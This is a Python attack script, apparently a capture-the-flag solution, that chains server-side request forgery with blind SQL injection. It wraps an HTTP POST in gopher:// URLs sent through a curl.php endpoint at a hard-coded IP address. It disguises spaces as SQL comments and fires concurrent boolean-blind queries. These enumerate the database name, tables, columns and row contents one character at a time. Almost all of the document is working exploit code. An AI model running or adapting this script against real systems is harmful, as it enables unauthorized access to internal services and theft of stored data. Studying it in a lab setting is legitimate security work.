1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
| def ssrf(payload): import urllib.parse host = "127.0.0.1:80" content = f"id={payload}" content_length = len(content) text =\ """POST /sqli.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: {}
{} """.format(content_length,content) tmp = urllib.parse.quote(text) tmp = tmp.replace("%0A","%0D%0A") result = "gopher://" + host + "/_" + tmp return result
def space2comment(payload): return payload.replace(" ", "/**/")
import grequests as gs
url = "http://101.43.57.52:43083/curl.php" flag = "meow" tx = '1'
print("testing database_length...") req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and length(database())=" + str(l)))}) for l in range(1, 50)] res = gs.map(req_list) for r in res: if flag in r.text: database_length = res.index(r) + 1 break print("database_length: " + str(database_length))
database_name = '' print("testing database_name...")
for i in range(1, database_length + 1): req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr(database()," + str(i) + ",1))=" + str(char)))}) for char in range(32, 127)] res = gs.map(req_list) for r in res: if flag in r.text: char = res.index(r) + 32 break database_name += chr(char)
print("database_name: ", database_name)
print("testing table_number...") req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and (select count(table_name) from information_schema.tables where table_schema=database())=" + str(l)))}) for l in range(1, 50)] res = gs.map(req_list) for r in res: if flag in r.text: tableNumber = res.index(r) + 1 break print("table_number: ", tableNumber)
print("testing table_name...") for l in range(0, tableNumber): table_name = '' req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and length(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(l) + ",1),1))=" + str(i)))}) for i in range(1, 50)] res = gs.map(req_list) for r in res: if flag in r.text: tableLen = res.index(r) + 1 break print("table" + str(l + 1) + "_length: ", tableLen)
for i in range(1, tableLen + 1): req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(l) + ",1)," + str(i) + ",1))=" + str(char)))}) for char in range(32, 127)] res = gs.map(req_list) for r in res: if flag in r.text: char = res.index(r) + 32 break table_name += chr(char) print("table" + str(l + 1) + "_name: " + table_name)
table_flag = input('输入表名: ')
print("testing column_number...") req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and (select count(column_name) from information_schema.columns where table_name='" + table_flag + "')=" + str(l)))}) for l in range(1, 50)] res = gs.map(req_list) for r in res: if flag in r.text: columnNumber = res.index(r) + 1 break print("column_number: ", columnNumber)
print("testing column_name...") for l in range(0, columnNumber): columnName = '' req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and length(substr((select column_name from information_schema.columns where table_name='" + table_flag + "' limit " + str(l) + ",1),1))=" + str(i)))}) for i in range(1, 50)] res = gs.map(req_list) for r in res: if flag in r.text: columnLen = res.index(r) + 1 break print("column" + str(l + 1) + "_length: ", columnLen)
for m in range(1, columnLen + 1): req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr((select column_name from information_schema.columns where table_name='" + table_flag + "' limit " + str(l) + ",1)," + str(m) + ",1))=" + str(char)))}) for char in range(32, 127)] res = gs.map(req_list) for r in res: if flag in r.text: char = res.index(r) + 32 break columnName += chr(char) print("column" + str(l + 1) + "_name: " + columnName) data_flag = input('输入列名: ') req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and (select count(" + data_flag + ") from " + table_flag + ")=" + str(l)))}) for l in range(1, 50)] res = gs.map(req_list) for r in res: if flag in r.text: dataNumber = res.index(r) + 1 break print("data_number: ", dataNumber)
print("testing the data...") for l in range(0, dataNumber): data = '' req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and length(substr((select " + data_flag + " from " + table_flag + " limit " + str(l) + ",1),1))=" + str(i)))}) for i in range(1, 50)] res = gs.map(req_list) for r in res: if flag in r.text: dataLen = res.index(r) + 1 break print("data" + str(l + 1) + "_length: ", dataLen)
for m in range(1, dataLen + 1): req_list = [gs.post(url, data={'url': ssrf(space2comment(tx + " and ascii(substr((select " + data_flag + " from " + table_flag + " limit " + str(l) + ",1)," + str(m) + ",1))=" + str(char)))}) for char in range(32, 127)] res = gs.map(req_list) for r in res: if flag in r.text: char = res.index(r) + 32 break data = data + chr(char) print(l + 1, data)
|